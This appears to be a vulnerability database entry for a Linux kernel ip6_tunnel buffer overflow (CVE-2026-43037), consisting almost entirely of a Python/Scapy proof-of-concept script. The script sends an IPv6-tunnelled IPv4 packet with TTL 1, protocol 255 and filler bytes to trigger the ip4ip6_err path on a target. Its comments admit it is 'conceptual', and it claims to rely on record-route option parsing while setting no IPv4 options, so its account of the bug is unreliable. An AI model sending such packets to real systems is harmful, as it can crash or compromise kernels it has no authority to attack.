Linux Kernel ip6_tunnel缓冲区溢出漏洞(CVE-2026-43037)

#!/usr/bin/env python3 # This PoC demonstrates the packet structure required to trigger the ip4ip6_err path. # It sends an IPv4 packet inside an IPv6 packet with specific options to potentially # trigger the buffer overflow logic. Requires Scapy. from scapy.all import * # Construct the inner IPv4 packet # We try to trigger an ICMP error, e.g., by setting a low TTL or invalid protocol # to force the kernel into ip4ip6_err(). inner_ip = IP(src="192.168.1.100", dst="192.168.1.200", ttl=1, proto=255) # The vulnerability relies on the IPv4 options parsing. # We try to manipulate the 'rr' (record route) pointer logic via the overlap. # This is a conceptual trigger. # Construct the IPv6 header acting as the tunnel ipv6_hdr = IPv6(src="2001:db8::1", dst="2001:db8::2", nh=4) # nh=4 indicates IPv4 encapsulation # Combine them pkt = ipv6_hdr / inner_ip / Raw(b"A" * 100) print(f"[*] Sending malicious IPv6 tunneled packet to trigger CVE-2026-43037...") # Send the packet. The target must be configured to accept ip6_tunnel traffic. send(pkt, iface="eth0", verbose=1)